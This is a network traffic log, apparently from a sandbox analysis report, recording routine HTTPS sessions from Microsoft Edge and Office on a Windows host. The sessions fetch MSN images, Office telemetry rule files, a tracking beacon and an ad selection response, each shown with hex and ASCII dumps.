2024-11-17 11:35:38 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Thu, 07 Nov 2024 01:31:10 GMT X-Datacenter: eastus X-ActivityId: c62b896e-0318-4a4b-9fe6-25e6c1dee8b4 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=309263 Expires: Thu, 21 Nov 2024 01:30:01 GMT Date: Sun, 17 Nov 2024 11:35:38 GMT Connection: close
2024-11-17 11:35:38 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	49882	23.47.50.145	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:38 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 11:35:38 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Thu, 14 Nov 2024 01:05:02 GMT X-Source-Length: 5699 X-Datacenter: westus X-ActivityId: 17b03347-bb6f-457d-a77b-dd718d1aee67 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=134978 Expires: Tue, 19 Nov 2024 01:05:16 GMT Date: Sun, 17 Nov 2024 11:35:38 GMT Connection: close
2024-11-17 11:35:38 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	49880	23.47.50.145	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:38 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 11:35:38 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sat, 26 Oct 2024 13:08:49 GMT X-Datacenter: westus X-ActivityId: f9118471-d63a-4ae1-a8c4-33a84d8a076d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=91847 Expires: Mon, 18 Nov 2024 13:06:25 GMT Date: Sun, 17 Nov 2024 11:35:38 GMT Connection: close
2024-11-17 11:35:38 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	49878	23.47.50.145	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:38 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 11:35:38 UTC	517	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 07:55:37 GMT X-Source-Length: 3765 X-Datacenter: northeu X-ActivityId: a02c37a4-2bd7-4056-aa62-a9ddb69c33bb Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=245989 Expires: Wed, 20 Nov 2024 07:55:27 GMT Date: Sun, 17 Nov 2024 11:35:38 GMT Connection: close
2024-11-17 11:35:38 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:38 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:38 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 2fad41a2-601e-000d-6d82-362618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113538Z-164f84587bfs5tz9hC1DFW9a3w0000000490000000007cq8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:38 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:38 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:38 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 32d33ebf-401e-0048-7d9e-370409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113538Z-1866b5c5fbb7lvschC1DFW4rm0000000044000000000cp2e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:38 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:38 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:38 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: fa98855d-501e-0064-4540-361f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113538Z-16547b76f7ff9zf4hC1DFW2pfc00000001x0000000001rr4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:38 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:38 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:38 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 23d98194-001e-0082-1512-375880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113538Z-164f84587bfn7ppchC1DFW0meg00000003k00000000096vp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:38 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:38 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:38 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 598b0884-401e-005b-48af-369c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113538Z-16547b76f7fkz9l7hC1DFW35uc000000016g00000000ccmn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:38 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	49888	3.170.115.43	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:38 UTC	1012	OUT	GET /b2?rn=1731843335786&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=26C7834DE9B0666626559677E895674C&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=10C41416f3384a471d2b6391731843337; XID=10C41416f3384a471d2b6391731843337
2024-11-17 11:35:38 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Sun, 17 Nov 2024 11:35:38 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 b6cf2bdfa92fc2ed950a3e46748049ea.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW59-P4 X-Amz-Cf-Id: OgN4d5HzdvOH3ZfOV40y0v4I1GdJvFX5MGP6MAvv1aGBK-LAgKZbzA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	49889	23.101.168.44	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:38 UTC	999	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=26C7834DE9B0666626559677E895674C&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=e9e9ea99063a4e44c2b57345baa408af HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=26C7834DE9B0666626559677E895674C; _EDGE_S=F=1&SID=3725C0F51DA26D161494D5CF1C466C4A; _EDGE_V=1
2024-11-17 11:35:39 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2710 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132805-T700343875-C128000000002114449+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002114449+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sun, 17 Nov 2024 11:35:38 GMT Connection: close
2024-11-17 11:35:39 UTC	2710	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 4d 61 72 73 65 69 6c 6c 65 2c 20 46 72 61 6e 63 65 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 4d 61 72 73 65 69 6c 6c 65 25 32 43 2b Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Marseille, France\",\"cta\":\"https:\/\/www.bing.com\/search?q=Marseille%2C+

